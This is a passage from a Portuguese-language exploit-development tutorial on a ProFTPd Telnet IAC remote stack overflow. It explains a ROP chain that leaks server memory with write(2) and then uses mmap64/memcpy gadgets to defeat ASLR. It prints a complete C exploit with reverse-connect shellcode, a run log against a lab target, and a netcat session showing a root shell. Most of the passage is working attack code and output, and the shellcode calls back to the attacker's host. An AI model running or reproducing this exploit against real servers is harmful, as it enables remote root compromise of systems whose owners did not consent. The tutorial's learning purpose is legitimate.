  1430. # EB FF JMP +0xFF
  1431.  
  1432. Então os bytes dessa rotina são:
  1433.  
  1434. -> "\xfc\x8b"
  1435. -> "\xf4"
  1436. -> "\xbf"
  1437. -> "\x00\x01\x00"
  1438. -> "\x10"
  1439. -> "\xb9\x00\x02\x00\x00"
  1440. -> "\xf3"
  1441. -> "\xa4"
  1442. -> "\xeb\xff"
  1443.  
  1444. Pronto, agora é só pesquisar no buffer de bytes lidos do ProFTPd (que nós já conseguimos) os
  1445. offsets dos bytes da rotina e das instruções "pop pop pop ret" e "add esp, 20h; pop; pop".
  1446. Escrevi uma função para comparar bytes de dois buffers, retornando o offset de onde começa
  1447. a primeira ocorrência do buffer procurado, e podemos utilizar essa função para procurar os
  1448. offsets dos opcodes e saber a posição dos bytes que queremos utilizar, olhem só:
  1449.  
  1450. ---------------------------------------------------------------------------------------------------
  1451.  
  1452. u_int indexOf(const unsigned char *data_buffer, const unsigned int length,
  1453. const unsigned char *needle, const unsigned int needlelen){
  1454. u_int k;
  1455. for(k=0; k < length - needlelen; k++){
  1456. if(memcmp(data_buffer+k, needle, needlelen) == 0){
  1457. return k;
  1458. }
  1459. }
  1460. }
  1461.  
  1462. ---------------------------------------------------------------------------------------------------
  1463.  
  1464. Aqui segue um exemplo do uso dessa função para encontrarmos o offset dos bytes procurados e assim
  1465. podermos deduzir o endereço onde estarão esses bytes na memória do servidor:
  1466.  
  1467. exemplo: ------------------------------------------------------------------------------------------
  1468.  
  1469. char pop3ret[]="\x5e\x5f\x5d";
  1470.  
  1471. ...
  1472.  
  1473. // Trying to find Pop Ret location
  1474.  
  1475. u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1);
  1476. if(index >= 0){
  1477. p3r += (u_int) index;
  1478. printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r);
  1479. } else {
  1480. printf("\n\t [-] Fail! Could not find Pop3Ret!");
  1481. }
  1482.  
  1483. ---------------------------------------------------------------------------------------------------
  1484.  
  1485. Então temos os endereços das funções na PLT, temos os offsets dos bytes e dos gadgets das
  1486. instruções que queremos. Temos tudo!!! Agora é só montar nosso buffer e explorar. Para fazermos
  1487. isso devemos seguir a seguinte ordem:
  1488.  
  1489. -> Endereço da função
  1490. -> "pop pop pop ret" ou "add esp, 20h; pop; pop"
  1491. -> argumentos da função
  1492.  
  1493. Encadeando assim podemos construir nossa rotina de copia de shellcode em um espaço executável
  1494. e assim injetarmos shellcode, burlando ASLR entre outras. Nota-se utiliarei a instrução
  1495. "add esp, 20h; pop; pop" para copiar os argumentos de mmap64(), pois são muitos argumentos
  1496. e usarei "pop pop pop ret" para memcpy().
  1497.  
  1498. Para finalizar o exemplo abaixo mostra como criar o buffer para o uso de memcpy(). Veja o
  1499. trexo de código abaixo (os comentários explicam tudo!):
  1500.  
  1501. ex.: -----------------------------------------------------------------------------------------
  1502.  
  1503. *((u_int *)(buffer+OFFSET+1+PADDING+52)) = MEMCPY;
  1504. *((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r;
  1505. memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4); //endereço do primeiro byte
  1506. *((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr;
  1507. memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4); //numero de bytes a copiar
  1508.  
  1509. *((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY;
  1510. *((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r;
  1511. memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4); //endereço do segundo byte =
  1512. //endereḑo do primeiro + numero
  1513. //de bytes do primeiro
  1514. //"\x00\x00\x00\x10" +
  1515. //"\x02\x00\x00\x00"
  1516. *((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr;
  1517. memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4);
  1518.  
  1519. ----------------------------------------------------------------------------------------------
  1520.  
  1521. Como o primeiro argumento de memcpy() é o endereço que vamos copiar os bytes, então temos que
  1522. ir incrementando a medida que vamos copiando os bytes. Para ir concatenando corretamente
  1523. nossos bytes na posição certa.
  1524.  
  1525. Então chegou a hora mais experada!!! Vejamos como que fica nosso exploit:
  1526.  
  1527. exploit_proftpd.c ----------------------------------------------------------------------------
  1528.  
  1529. #include <stdio.h>
  1530. #include <stdlib.h>
  1531. #include <string.h>
  1532. #include <sys/socket.h>
  1533. #include <netinet/in.h>
  1534. #include <arpa/inet.h>
  1535. #include <netdb.h>
  1536.  
  1537. #define OFFSET 4101
  1538. #define PADDING 34
  1539. #define WRITE 0x080532d8
  1540. #define MMAP64 0x08053d18
  1541. #define MEMCPY 0x080536c8
  1542.  
  1543. // reverse connection shellcode -> 95 bytes
  1544. // shellcode[31] to shellcode[34] is IP position
  1545. // shellcode[37] and shellcode[38] is PORT position (port 4444 by default)
  1546. char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66"
  1547. "\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
  1548. "\x68\x7f\x7f\x7f\x7f\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a"
  1549. "\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58\xcd\x80"
  1550. "\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31"
  1551. "\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
  1552. "\x53\x89\xe1\xcd\x80";
  1553.  
  1554. char write_fd[]="\x01\x00\x00\x00";
  1555. char write_len[]="\xff\xff\x0f\x00";
  1556.  
  1557. char pop3ret[]="\x5e\x5f\x5d";
  1558. char large_popret[]="\x83\xc4\x20\x5b\x5e\x5d\xc3";
  1559.  
  1560. char junk[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  1561. "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
  1562. "\x41\x41\x41\x41";
  1563.  
  1564. // shellcode copy routine:
  1565. char byte1[]="\xfc\x8b"; // FC CLD
  1566. char byte2[]="\xf4"; // 8BF4 MOV ESI,ESP
  1567. char byte3[]="\xbf"; // BF 00010010 MOV EDI,10000100
  1568. char byte4[]="\x00\x01\x00";
  1569. char byte5[]="\x10";
  1570. char byte6[]="\xb9\x00\x02\x00\x00"; // B9 00020000 MOV ECX,200
  1571. char byte7[]="\xf3"; // F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
  1572. char byte8[]="\xa4";
  1573. char byte9[]="\xeb\xff"; // EB FF JMP +0xFF
  1574.  
  1575. char mmap64_args[]="\x00\x00\x00\x10"
  1576. "\x00\x10\x00\x00"
  1577. "\x07\x00\x00\x00"
  1578. "\x32\x00\x00\x00"
  1579. "\xff\xff\xff\xff"
  1580. "\x00\x00\x00\x00"
  1581. "\x00\x00\x00\x00"
  1582. "\x00\x00\x00\x00"
  1583. "\x00\x00\x00\x00"
  1584. "\x00\x00\x00\x00"
  1585. "\x00\x00\x00\x00";
  1586.  
  1587. // A function to display an error message and then exit
  1588. void fatal(char *message) {
  1589. char error_message[100];
  1590.  
  1591. strcpy(error_message, "[!!] Fatal Error ");
  1592. strncat(error_message, message, 83);
  1593. perror(error_message);
  1594. exit(-1);
  1595. }
  1596.  
  1597. // dumps raw memory in hex byte and printable split format
  1598. void dump(const unsigned char *data_buffer, const unsigned int length) {
  1599. unsigned char byte;
  1600. unsigned int i, j;
  1601. for(i=0; i < length; i++) {
  1602. byte = data_buffer[i];
  1603. printf("%02x ", data_buffer[i]); // display byte in hex
  1604. if(((i%16)==15) || (i==length-1)) {
  1605. for(j=0; j < 15-(i%16); j++)
  1606. printf(" ");
  1607. printf("| ");
  1608. for(j=(i-(i%16)); j <= i; j++) { // display printable bytes from line
  1609. byte = data_buffer[j];
  1610. if((byte > 31) && (byte < 127)) // outside printable char range
  1611. printf("%c", byte);
  1612. else
  1613. printf(".");
  1614. }
  1615. printf("\n"); // end of the dump line (each line 16 bytes)
  1616. } // end if
  1617. } // end for
  1618. printf("\n");
  1619. }
  1620.  
  1621. u_int indexOf(const unsigned char *data_buffer, const unsigned int length,
  1622. const unsigned char *needle, const unsigned int needlelen){
  1623. u_int k;
  1624. for(k=0; k < length - needlelen; k++){
  1625. if(memcmp(data_buffer+k, needle, needlelen) == 0){
  1626. return k;
  1627. }
  1628. }
  1629. }
  1630.  
  1631. int main(int argc, char *argv[]) {
  1632. int sockfd;
  1633. struct hostent *host_info;
  1634. struct hostent *my_host_info;
  1635. struct sockaddr_in target_addr;
  1636. unsigned char buffer[OFFSET+1+PADDING+336+sizeof(shellcode)+11];
  1637. unsigned char read_buffer[0xfffff];
  1638. u_int value = (u_int) WRITE - (u_int) 59;
  1639. u_int p3r = value;
  1640. u_int lpr = value;
  1641. u_int addr = value;
  1642. u_int byte1_addr = value;
  1643. u_int byte2_addr = value;
  1644. u_int byte3_addr = value;
  1645. u_int byte4_addr = value;
  1646. u_int byte5_addr = value;
  1647. u_int byte6_addr = value;
  1648. u_int byte7_addr = value;
  1649. u_int byte8_addr = value;
  1650. u_int byte9_addr = value;
  1651.  
  1652. if(argc < 2) {
  1653. printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n");
  1654. printf("\t Writen by: F0rb1dd3n\n");
  1655. printf("\n\t Usage: %s <target IP> <your IP>\n\n", argv[0]);
  1656. exit(1);
  1657. }
  1658.  
  1659. if((my_host_info = gethostbyname(argv[2])) == NULL)
  1660. fatal("looking up your hostname");
  1661.  
  1662. memcpy(shellcode+31, my_host_info->h_addr, my_host_info->h_length);
  1663.  
  1664. if((host_info = gethostbyname(argv[1])) == NULL)
  1665. fatal("looking up hostname");
  1666.  
  1667. target_addr.sin_family = AF_INET;
  1668. target_addr.sin_port = htons(21);
  1669. target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);
  1670. memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct
  1671.  
  1672. printf("\n\t Proftpd Telnet IAC remote stack overflow exploit\n");
  1673. printf("\t Writen by: F0rb1dd3n\n");
  1674. printf("\n\t Target: %s\n", argv[1]);
  1675.  
  1676. printf("\n\t Trying write(2) offset: 0x%08x", WRITE);
  1677.  
  1678. bzero(buffer, OFFSET+1+PADDING+22); // zero out the buffer
  1679. memcpy(buffer+OFFSET, "\xff", 1); // triggering the vulnerability
  1680. memcpy(buffer+OFFSET+1, junk, strlen(junk)); // junk
  1681. *((u_int *)(buffer+OFFSET+1+PADDING)) = WRITE; // write address
  1682. memcpy(buffer+OFFSET+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); // crash dummy
  1683. memcpy(buffer+OFFSET+1+PADDING+8, write_fd, strlen(write_fd)); // fd for write
  1684. *((u_int *)(buffer+OFFSET+1+PADDING+12)) = WRITE; // buffer for write
  1685. memcpy(buffer+OFFSET+1+PADDING+16, write_len, strlen(write_len)); // lenght for write
  1686. memcpy(buffer+OFFSET+1+PADDING+20, "\x0a\x0d", 2); // end of buffer
  1687.  
  1688. if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  1689. fatal("in socket");
  1690.  
  1691. if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
  1692. fatal("connecting to target server");
  1693.  
  1694. write(sockfd, buffer, OFFSET+1+PADDING+22);
  1695. bzero(read_buffer, sizeof(read_buffer));
  1696.  
  1697. if(read(sockfd, read_buffer, 0xfffff) != 0) {
  1698. printf("\n\t [+] Success on write(2)");
  1699. close(sockfd);
  1700.  
  1701. printf("\n\t [+] mmap64() is located at 0x%08x", MMAP64);
  1702. printf("\n\t [+] memcpy() is located at 0x%08x", MEMCPY);
  1703. printf("\n\n\t Attempting to read memory of the server...\n");
  1704.  
  1705. // Trying to find Pop Ret location
  1706.  
  1707. u_int index = indexOf(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1);
  1708. if(index >= 0){
  1709. p3r += (u_int) index;
  1710. printf("\n\t [+] Pop3Ret is located at 0x%08x", p3r);
  1711. } else {
  1712. printf("\n\t [-] Fail! Could not find Pop3Ret!");
  1713. }
  1714. index = indexOf(read_buffer, sizeof(read_buffer), large_popret, sizeof(large_popret)-1);
  1715. if(index >= 0){
  1716. lpr += (u_int) index;
  1717. printf("\n\t [+] Large PopRet is located at 0x%08x", lpr);
  1718. } else {
  1719. printf("\n\t [-] Fail! Could not find Large PopRet!");
  1720. }
  1721.  
  1722. // Trying to find special bytes location to shellcode copy routine
  1723.  
  1724. index = indexOf(read_buffer, sizeof(read_buffer), byte1, sizeof(byte1)-1);
  1725. if(index >= 0){
  1726. byte1_addr += (u_int) index;
  1727. printf("\n\t [+] Byte1 is located at 0x%08x", byte1_addr);
  1728. } else {
  1729. printf("\n\t [-] Fail! Could not find Byte1!");
  1730. }
  1731. index = indexOf(read_buffer, sizeof(read_buffer), byte2, sizeof(byte2)-1);
  1732. if(index >= 0){
  1733. byte2_addr += (u_int) index;
  1734. printf("\n\t [+] Byte2 is located at 0x%08x", byte2_addr);
  1735. } else {
  1736. printf("\n\t [-] Fail! Could not find Byte2!");
  1737. }
  1738. index = indexOf(read_buffer, sizeof(read_buffer), byte3, sizeof(byte3)-1);
  1739. if(index >= 0){
  1740. byte3_addr += (u_int) index;
  1741. printf("\n\t [+] Byte3 is located at 0x%08x", byte3_addr);
  1742. } else {
  1743. printf("\n\t [-] Fail! Could not find Byte3!");
  1744. }
  1745. index = indexOf(read_buffer, sizeof(read_buffer), byte4, sizeof(byte4)-1);
  1746. if(index >= 0){
  1747. byte4_addr += (u_int) index;
  1748. printf("\n\t [+] Byte4 is located at 0x%08x", byte4_addr);
  1749. } else {
  1750. printf("\n\t [-] Fail! Could not find Byte4!");
  1751. }
  1752. index = indexOf(read_buffer, sizeof(read_buffer), byte5, sizeof(byte5)-1);
  1753. if(index >= 0){
  1754. byte5_addr += (u_int) index;
  1755. printf("\n\t [+] Byte5 is located at 0x%08x", byte5_addr);
  1756. } else {
  1757. printf("\n\t [-] Fail! Could not find Byte5!");
  1758. }
  1759. index = indexOf(read_buffer, sizeof(read_buffer), byte6, sizeof(byte6)-1);
  1760. if(index >= 0){
  1761. byte6_addr += (u_int) index;
  1762. printf("\n\t [+] Byte6 is located at 0x%08x", byte6_addr);
  1763. } else {
  1764. printf("\n\t [-] Fail! Could not find Byte6!");
  1765. }
  1766. index = indexOf(read_buffer, sizeof(read_buffer), byte7, sizeof(byte7)-1);
  1767. if(index >= 0){
  1768. byte7_addr += (u_int) index;
  1769. printf("\n\t [+] Byte7 is located at 0x%08x", byte7_addr);
  1770. } else {
  1771. printf("\n\t [-] Fail! Could not find Byte7!");
  1772. }
  1773. index = indexOf(read_buffer, sizeof(read_buffer), byte8, sizeof(byte8)-1);
  1774. if(index >= 0){
  1775. byte8_addr += (u_int) index;
  1776. printf("\n\t [+] Byte8 is located at 0x%08x", byte8_addr);
  1777. } else {
  1778. printf("\n\t [-] Fail! Could not find Byte8!");
  1779. }
  1780. index = indexOf(read_buffer, sizeof(read_buffer), byte9, sizeof(byte9)-1);
  1781. if(index >= 0){
  1782. byte9_addr += (u_int) index;
  1783. printf("\n\t [+] Byte9 is located at 0x%08x", byte9_addr);
  1784. } else {
  1785. printf("\n\t [-] Fail! Could not find Byte9!");
  1786. }
  1787. } else {
  1788. printf("\t [-] Fail! Wrong write(2) offset!\n");
  1789. close(sockfd);
  1790. }
  1791.  
  1792. printf("\n\n\t Building exploit buffer...\n");
  1793.  
  1794. bzero(buffer, sizeof(buffer));
  1795. memcpy(buffer+OFFSET, "\xff", 1);
  1796. memcpy(buffer+OFFSET+1, junk, strlen(junk));
  1797. *((u_int *)(buffer+OFFSET+1+PADDING)) = MMAP64;
  1798. *((u_int *)(buffer+OFFSET+1+PADDING+4)) = lpr;
  1799. memcpy(buffer+OFFSET+1+PADDING+8, mmap64_args, sizeof(mmap64_args));
  1800.  
  1801. *((u_int *)(buffer+OFFSET+1+PADDING+52)) = MEMCPY;
  1802. *((u_int *)(buffer+OFFSET+1+PADDING+56)) = p3r;
  1803. memcpy(buffer+OFFSET+1+PADDING+60, "\x00\x00\x00\x10", 4);
  1804. *((u_int *)(buffer+OFFSET+1+PADDING+64)) = byte1_addr;
  1805. memcpy(buffer+OFFSET+1+PADDING+68, "\x02\x00\x00\x00", 4);
  1806.  
  1807. *((u_int *)(buffer+OFFSET+1+PADDING+72)) = MEMCPY;
  1808. *((u_int *)(buffer+OFFSET+1+PADDING+76)) = p3r;
  1809. memcpy(buffer+OFFSET+1+PADDING+80, "\x02\x00\x00\x10", 4);
  1810. *((u_int *)(buffer+OFFSET+1+PADDING+84)) = byte2_addr;
  1811. memcpy(buffer+OFFSET+1+PADDING+88, "\x01\x00\x00\x00", 4);
  1812.  
  1813. *((u_int *)(buffer+OFFSET+1+PADDING+92)) = MEMCPY;
  1814. *((u_int *)(buffer+OFFSET+1+PADDING+96)) = p3r;
  1815. memcpy(buffer+OFFSET+1+PADDING+100, "\x03\x00\x00\x10", 4);
  1816. *((u_int *)(buffer+OFFSET+1+PADDING+104)) = byte3_addr;
  1817. memcpy(buffer+OFFSET+1+PADDING+108, "\x01\x00\x00\x00", 4);
  1818.  
  1819. *((u_int *)(buffer+OFFSET+1+PADDING+112)) = MEMCPY;
  1820. *((u_int *)(buffer+OFFSET+1+PADDING+116)) = p3r;
  1821. memcpy(buffer+OFFSET+1+PADDING+120, "\x04\x00\x00\x10", 4);
  1822. *((u_int *)(buffer+OFFSET+1+PADDING+124)) = byte4_addr;
  1823. memcpy(buffer+OFFSET+1+PADDING+128, "\x03\x00\x00\x00", 4);
  1824.  
  1825. *((u_int *)(buffer+OFFSET+1+PADDING+132)) = MEMCPY;
  1826. *((u_int *)(buffer+OFFSET+1+PADDING+136)) = p3r;
  1827. memcpy(buffer+OFFSET+1+PADDING+140, "\x07\x00\x00\x10", 4);
  1828. *((u_int *)(buffer+OFFSET+1+PADDING+144)) = byte5_addr;
  1829. memcpy(buffer+OFFSET+1+PADDING+148, "\x01\x00\x00\x00", 4);
  1830.  
  1831. *((u_int *)(buffer+OFFSET+1+PADDING+152)) = MEMCPY;
  1832. *((u_int *)(buffer+OFFSET+1+PADDING+156)) = p3r;
  1833. memcpy(buffer+OFFSET+1+PADDING+160, "\x08\x00\x00\x10", 4);
  1834. *((u_int *)(buffer+OFFSET+1+PADDING+164)) = byte6_addr;
  1835. memcpy(buffer+OFFSET+1+PADDING+168, "\x05\x00\x00\x00", 4);
  1836.  
  1837. *((u_int *)(buffer+OFFSET+1+PADDING+172)) = MEMCPY;
  1838. *((u_int *)(buffer+OFFSET+1+PADDING+176)) = p3r;
  1839. memcpy(buffer+OFFSET+1+PADDING+180, "\x0d\x00\x00\x10", 4);
  1840. *((u_int *)(buffer+OFFSET+1+PADDING+184)) = byte7_addr;
  1841. memcpy(buffer+OFFSET+1+PADDING+188, "\x01\x00\x00\x00", 4);
  1842.  
  1843. *((u_int *)(buffer+OFFSET+1+PADDING+192)) = MEMCPY;
  1844. *((u_int *)(buffer+OFFSET+1+PADDING+196)) = p3r;
  1845. memcpy(buffer+OFFSET+1+PADDING+200, "\x0e\x00\x00\x10", 4);
  1846. *((u_int *)(buffer+OFFSET+1+PADDING+204)) = byte8_addr;
  1847. memcpy(buffer+OFFSET+1+PADDING+208, "\x01\x00\x00\x00", 4);
  1848.  
  1849. *((u_int *)(buffer+OFFSET+1+PADDING+212)) = MEMCPY;
  1850. *((u_int *)(buffer+OFFSET+1+PADDING+216)) = p3r;
  1851. memcpy(buffer+OFFSET+1+PADDING+220, "\x0f\x00\x00\x10", 4);
  1852. *((u_int *)(buffer+OFFSET+1+PADDING+224)) = byte9_addr;
  1853. memcpy(buffer+OFFSET+1+PADDING+228, "\x02\x00\x00\x00", 4);
  1854.  
  1855. memcpy(buffer+OFFSET+1+PADDING+232, "\x00\x00\x00\x10", 4);
  1856. memset(buffer+OFFSET+1+PADDING+236, '\x90', 205);
  1857. memcpy(buffer+OFFSET+1+PADDING+336, shellcode, sizeof(shellcode)-1);
  1858. memcpy(buffer+OFFSET+1+PADDING+336+sizeof(shellcode)+9, "\x0a\x0d", 2);
  1859.  
  1860. printf("\n\t Too much 00 bytes + evil buffer:\n\n");
  1861. dump(buffer+OFFSET-4, sizeof(buffer)-OFFSET+4);
  1862.  
  1863. if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
  1864. fatal("in socket");
  1865.  
  1866. if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)
  1867. fatal("connecting to target server");
  1868.  
  1869. printf("\n\t Sending exploit buffer...\n");
  1870. write(sockfd, buffer, sizeof(buffer));
  1871. close(sockfd);
  1872.  
  1873. printf("\n\t [+] Done! Enjoy your fucking shell!!!\n");
  1874. printf("\n\n\t\t F0rb1dd3n wins!!!");
  1875. printf("\n\t\t Flawless Victory\n");
  1876.  
  1877. printf("\n █████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓");
  1878. printf("\n ▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒");
  1879. printf("\n ▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░");
  1880. printf("\n ░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░");
  1881. printf("\n ░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░");
  1882. printf("\n ▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒ ");
  1883. printf("\n ░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░ ");
  1884. printf("\n ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░ ");
  1885. printf("\n ░ ░ ░ ░ ░ ░ ░ ░ ░ ");
  1886. printf("\n ░ ░ ");
  1887. printf("\n\n");
  1888. }
  1889.  
  1890. ---------------------------------------------------------------------------------------------
  1891.  
  1892. Vamos executar ele e ver o que acontece. O shellcode que estou utilizando é um shellcode
  1893. connect back na porta 4444, então não esqueça de deixar o netcat escutando!
  1894.  
  1895. let's go hack!!!
  1896.  
  1897. ---------------------------------------------------------------------------------------------
  1898.  
  1899. root@kali:~/Studies# gcc exploit_proftpd.c -o exploit_proftpd
  1900. root@kali:~/Studies# ./exploit_proftpd 192.168.25.18 192.168.25.23
  1901.  
  1902. Proftpd Telnet IAC remote stack overflow exploit
  1903. Writen by: F0rb1dd3n
  1904.  
  1905. Target: 192.168.25.18
  1906.  
  1907. Trying write(2) offset: 0x080532d8
  1908. [+] Success on write(2)
  1909. [+] mmap64() is located at 0x08053d18
  1910. [+] memcpy() is located at 0x080536c8
  1911.  
  1912. Attempting to read memory of the server...
  1913.  
  1914. [+] Pop3Ret is located at 0x0805462e
  1915. [+] Large PopRet is located at 0x08059a09
  1916. [+] Byte1 is located at 0x0805a056
  1917. [+] Byte2 is located at 0x0805341a
  1918. [+] Byte3 is located at 0x08053f8b
  1919. [+] Byte4 is located at 0x080596b3
  1920. [+] Byte5 is located at 0x08053314
  1921. [+] Byte6 is located at 0x0806a7d8
  1922. [+] Byte7 is located at 0x08053c35
  1923. [+] Byte8 is located at 0x080532da
  1924. [+] Byte9 is located at 0x08054535
  1925.  
  1926. Building exploit buffer...
  1927.  
  1928. Too much 00 bytes + evil buffer:
  1929.  
  1930. 00 00 00 00 ff 41 41 41 41 41 41 41 41 41 41 41 | .....AAAAAAAAAAA
  1931. 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | AAAAAAAAAAAAAAAA
  1932. 41 41 41 41 41 41 41 18 3d 05 08 09 9a 05 08 00 | AAAAAAA.=.......
  1933. 00 00 10 00 10 00 00 07 00 00 00 32 00 00 00 ff | ...........2....
  1934. ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................
  1935. 00 00 00 00 00 00 00 00 00 00 00 c8 36 05 08 2e | ............6...
  1936. 46 05 08 00 00 00 10 56 a0 05 08 02 00 00 00 c8 | F......V........
  1937. 36 05 08 2e 46 05 08 02 00 00 10 1a 34 05 08 01 | 6...F.......4...
  1938. 00 00 00 c8 36 05 08 2e 46 05 08 03 00 00 10 8b | ....6...F.......
  1939. 3f 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 04 | ?.......6...F...
  1940. 00 00 10 b3 96 05 08 03 00 00 00 c8 36 05 08 2e | ............6...
  1941. 46 05 08 07 00 00 10 14 33 05 08 01 00 00 00 c8 | F.......3.......
  1942. 36 05 08 2e 46 05 08 08 00 00 10 d8 a7 06 08 05 | 6...F...........
  1943. 00 00 00 c8 36 05 08 2e 46 05 08 0d 00 00 10 35 | ....6...F......5
  1944. 3c 05 08 01 00 00 00 c8 36 05 08 2e 46 05 08 0e | <.......6...F...
  1945. 00 00 10 da 32 05 08 01 00 00 00 c8 36 05 08 2e | ....2.......6...
  1946. 46 05 08 0f 00 00 10 35 45 05 08 02 00 00 00 00 | F......5E.......
  1947. 00 00 10 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
  1948. 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
  1949. 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
  1950. 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
  1951. 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
  1952. 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 | ................
  1953. 90 90 90 90 90 90 90 31 c0 31 db 31 c9 b0 46 cd | .......1.1.1..F.
  1954. 80 90 90 90 6a 66 58 6a 01 5b 31 c9 51 6a 01 6a | ....jfXj.[1.Qj.j
  1955. 02 89 e1 cd 80 68 c0 a8 19 17 66 68 11 5c 66 6a | .....h....fh.\fj
  1956. 02 89 e1 6a 10 51 50 89 e1 89 c6 6a 03 5b 6a 66 | ...j.QP....j.[jf
  1957. 58 cd 80 87 f3 6a 02 59 b0 3f cd 80 49 79 f9 b0 | X....j.Y.?..Iy..
  1958. 0b 31 d2 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 | .1.Rh//shh/bin..
  1959. 52 53 89 e1 cd 80 90 90 90 90 90 90 90 90 90 90 | RS..............
  1960. 0a 0d | ..
  1961.  
  1962.  
  1963. Sending exploit buffer...
  1964.  
  1965. [+] Done! Enjoy your fucking shell!!!
  1966.  
  1967.  
  1968. F0rb1dd3n wins!!!
  1969. Flawless Victory
  1970.  
  1971. █████▒▄▄▄ ▄▄▄█████▓ ▄▄▄ ██▓ ██▓▄▄▄█████▓▓██ ██▓
  1972. ▓██ ▒▒████▄ ▓ ██▒ ▓▒▒████▄ ▓██▒ ▓██▒▓ ██▒ ▓▒ ▒██ ██▒
  1973. ▒████ ░▒██ ▀█▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▒██░ ▒██▒▒ ▓██░ ▒░ ▒██ ██░
  1974. ░▓█▒ ░░██▄▄▄▄██░ ▓██▓ ░ ░██▄▄▄▄██ ▒██░ ░██░░ ▓██▓ ░ ░ ▐██▓░
  1975. ░▒█░ ▓█ ▓██▒ ▒██▒ ░ ▓█ ▓██▒░██████▒░██░ ▒██▒ ░ ░ ██▒▓░
  1976. ▒ ░ ▒▒ ▓▒█░ ▒ ░░ ▒▒ ▓▒█░░ ▒░▓ ░░▓ ▒ ░░ ██▒▒▒
  1977. ░ ▒ ▒▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░ ▒ ░ ░ ▓██ ░▒░
  1978. ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ░ ░ ▒ ▒ ░░
  1979. ░ ░ ░ ░ ░ ░ ░ ░ ░
  1980. ░ ░
  1981.  
  1982. ---------------------------------------------------------------------------------------------
  1983. Em outra shell: -----------------------------------------------------------------------------
  1984.  
  1985. root@kali:~# nc -lnvp 4444
  1986. nc: listening on :: 4444 ...
  1987. nc: listening on 0.0.0.0 4444 ...
  1988. nc: connect to 192.168.25.23 4444 from 192.168.25.18 55610
  1989. uname -a
  1990. Linux ubuntu 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:34:50 UTC 2010 i686 GNU/Linux
  1991. whoami
  1992. root
  1993. ifconfig
  1994. eth0 Link encap:Ethernet HWaddr 00:0c:29:e4:38:55
  1995. inet addr:192.168.25.18 Bcast:192.168.25.255 Mask:255.255.255.0
  1996. inet6 addr: fe80::20c:29ff:fee4:3855/64 Scope:Link
  1997. UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
  1998. RX packets:28011 errors:0 dropped:0 overruns:0 frame:0
  1999. TX packets:4889 errors:0 dropped:0 overruns:0 carrier:0
  2000. collisions:0 txqueuelen:1000
  2001. RX bytes:2694445 (2.6 MB) TX bytes:1370853 (1.3 MB)
  2002. Interrupt:19 Base address:0x2024
  2003.  
  2004. lo Link encap:Local Loopback
  2005. inet addr:127.0.0.1 Mask:255.0.0.0
  2006. inet6 addr: ::1/128 Scope:Host
